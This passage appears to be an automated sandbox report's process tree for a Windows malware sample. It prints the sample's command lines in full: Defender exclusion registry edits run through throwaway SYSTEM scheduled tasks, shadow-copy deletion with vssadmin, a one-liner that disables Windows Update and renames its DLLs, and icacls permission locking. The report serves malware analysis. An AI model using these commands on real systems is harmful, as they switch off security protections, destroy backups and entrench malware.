  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4152
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1792
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3704
- C:\Program Files (x86)\k9JZdp\k9JZdp.exe
  "C:\Program Files (x86)\k9JZdp\k9JZdp.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4836
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5900
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1744
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1624
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2224
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:896
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5536
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3068
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1440
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3728
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:460
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:4596
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1472
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:6080
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3824
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:5036
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3496
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5836
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:972
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2328
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4204
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5640
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5076
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2020
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3036
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2128
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5964
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2568
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5184
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4856
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4216
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1400
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4684
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5428
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\k9JZdp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:576
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\k9JZdp\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4556
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3948
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3864
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1020
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4640
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\k9JZdp.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\k9JZdp.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5624
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\k9JZdp.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\k9JZdp.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4868
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\k9JZdp.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3372
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\k9JZdp.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4880
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4652
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5564
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5920
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3308
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5948
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4896
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1048
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:856
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2308
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2932
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5352
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1708
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3240
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2124
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2536
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3984
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3168
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k9JZdp\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k9JZdp\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3312
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2824
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3408
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3284
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:6008
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:6012
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5780
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2456
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5152
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5808
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5408
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2876
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1652

C:\Users\Public\TN8CWP\aPLDph.exe
"C:\Users\Public\TN8CWP\aPLDph.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2224

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TN8CWP" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TN8CWP" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3788

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5124

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2584

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5884
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6076

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3856
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4800

C:\Program Files (x86)\k9JZdp\k9JZdp.exe
"C:\Program Files (x86)\k9JZdp\k9JZdp.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1764

C:\Program Files (x86)\zoR2N2VdV\H3fC2s.exe
"C:\Program Files (x86)\zoR2N2VdV\H3fC2s.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1740

